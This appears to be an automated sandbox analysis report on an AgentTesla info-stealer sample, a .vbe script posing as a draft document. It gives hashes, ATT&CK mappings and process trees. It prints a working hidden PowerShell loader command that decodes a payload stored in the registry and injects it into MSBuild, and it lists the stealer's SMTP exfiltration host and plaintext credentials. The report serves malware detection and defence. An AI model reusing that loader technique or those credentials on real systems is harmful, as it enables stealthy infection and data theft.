agenttesla | a2f984bca4409bab211541ae884c5fa7513276b6009eee2933847a93e41a84e5

General

Target

Draft Ref0090093.vbe
Size

1.4MB
MD5

d8e563557d3063cac25a70feff03f256
SHA1

92e306c7bffe8dff3d95f9e230ce76bdf067192f
SHA256

a2f984bca4409bab211541ae884c5fa7513276b6009eee2933847a93e41a84e5
SHA512

db4945cbc095558ccaa2451ec68098d97c9c991b3a325fc00d10674dc6de9c457af0874ddae54d71723662b05fb48561531688dc734e879d69d56aa9a867f874
SSDEEP

24576:vjGNja9obcP8DJVN0UeOfM3VrTo6lDDJroXHFWbQXD0LJt58Sn3LHPcC:iZlwD

Score

10^/10

agenttesla discovery execution keylogger spyware stealer trojan

Malware Config

Extracted

Family

agenttesla

Credentials

Protocol: smtp
Host:
162.254.34.31
Port:
587
Username:
[email protected]
Password:
M992uew1mw6Z
Email To:
[email protected]

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla
Agenttesla family
agenttesla

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5636	powershell.exe

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	api.ipify.org
2	api.ipify.org

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 5636 set thread context of 2176	5636	powershell.exe	81

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
5636	powershell.exe
5636	powershell.exe
5636	powershell.exe
5636	powershell.exe
2176	MSBuild.exe
2176	MSBuild.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	5636	powershell.exe
Token: SeDebugPrivilege	2176	MSBuild.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 2000 wrote to memory of 5636	2000	WScript.exe	79
PID 2000 wrote to memory of 5636	2000	WScript.exe	79
PID 5636 wrote to memory of 2176	5636	powershell.exe	81
PID 5636 wrote to memory of 2176	5636	powershell.exe	81
PID 5636 wrote to memory of 2176	5636	powershell.exe	81
PID 5636 wrote to memory of 2176	5636	powershell.exe	81
PID 5636 wrote to memory of 2176	5636	powershell.exe	81
PID 5636 wrote to memory of 2176	5636	powershell.exe	81
PID 5636 wrote to memory of 2176	5636	powershell.exe	81
PID 5636 wrote to memory of 2176	5636	powershell.exe	81

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Draft Ref0090093.vbe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2000
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command [AppDomain]::CurrentDomain.Load([Convert]::FromBase64String((-join (Get-ItemProperty -LiteralPath 'HKCU:\Software\XrdZzSFVZbFsRMq' -Name 's').s | ForEach-Object {$_[-1..-($_.Length)]}))); [lol.lol]::lol('XrdZzSFVZbFsRMq')
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5636
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2176

C:\Windows\System32\WScript.exe
C:\Windows\System32\WScript.exe "C:\Users\Admin\AppData\Roaming\XrdZzSFVZbFsRMq.vbs"
1⤵
PID:4968

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_b5so3o2d.yc5.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\XrdZzSFVZbFsRMq.vbs

Filesize
2KB

MD5
d6a4b11118648747a7914c42998aa98b

SHA1
628d34a9d5583cf92583d478831a6d54b3beb814

SHA256
87c4f634149b24a55579d1469e9643cdf5758bf0dc23bcfe37f74f6c873779db

SHA512
77640da7b1a182a87416d213f55822e1e0f07a21c94202551abedea9f347ed8fc10ba119615059c531f8d467e2e14ed6ef86db423356463bcc3b5820b3cf5a4d

Download Submit
memory/2176-17-0x0000000000710000-0x0000000000750000-memory.dmp

Filesize
256KB

Download
memory/2176-23-0x00000000062B0000-0x00000000062BA000-memory.dmp

Filesize
40KB

Download
memory/2176-22-0x0000000006340000-0x00000000063D2000-memory.dmp

Filesize
584KB

Download
memory/2176-21-0x0000000006250000-0x00000000062A0000-memory.dmp

Filesize
320KB

Download
memory/2176-20-0x0000000004F40000-0x0000000004FA6000-memory.dmp

Filesize
408KB

Download
memory/2176-19-0x00000000054F0000-0x0000000005A96000-memory.dmp

Filesize
5.6MB

Download
memory/5636-13-0x00007FFF19C30000-0x00007FFF1A6F2000-memory.dmp

Filesize
10.8MB

Download
memory/5636-16-0x000002D3B56E0000-0x000002D3B56EC000-memory.dmp

Filesize
48KB

Download
memory/5636-18-0x00007FFF19C30000-0x00007FFF1A6F2000-memory.dmp

Filesize
10.8MB

Download
memory/5636-15-0x000002D3B56B0000-0x000002D3B56BA000-memory.dmp

Filesize
40KB

Download
memory/5636-12-0x000002D3B56F0000-0x000002D3B5736000-memory.dmp

Filesize
280KB

Download
memory/5636-14-0x00007FFF19C30000-0x00007FFF1A6F2000-memory.dmp

Filesize
10.8MB

Download
memory/5636-1-0x00007FFF19C33000-0x00007FFF19C35000-memory.dmp

Filesize
8KB

Download
memory/5636-11-0x00007FFF19C30000-0x00007FFF1A6F2000-memory.dmp

Filesize
10.8MB

Download
memory/5636-7-0x000002D39D2C0000-0x000002D39D2E2000-memory.dmp

Filesize
136KB

Download

Analysis

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